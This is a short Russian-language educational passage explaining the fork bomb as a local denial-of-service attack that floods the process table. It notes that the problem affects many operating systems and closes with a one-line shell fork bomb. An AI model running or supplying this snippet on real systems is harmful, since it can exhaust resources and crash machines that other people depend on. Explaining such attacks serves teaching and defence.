Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:
($0 & $0 &)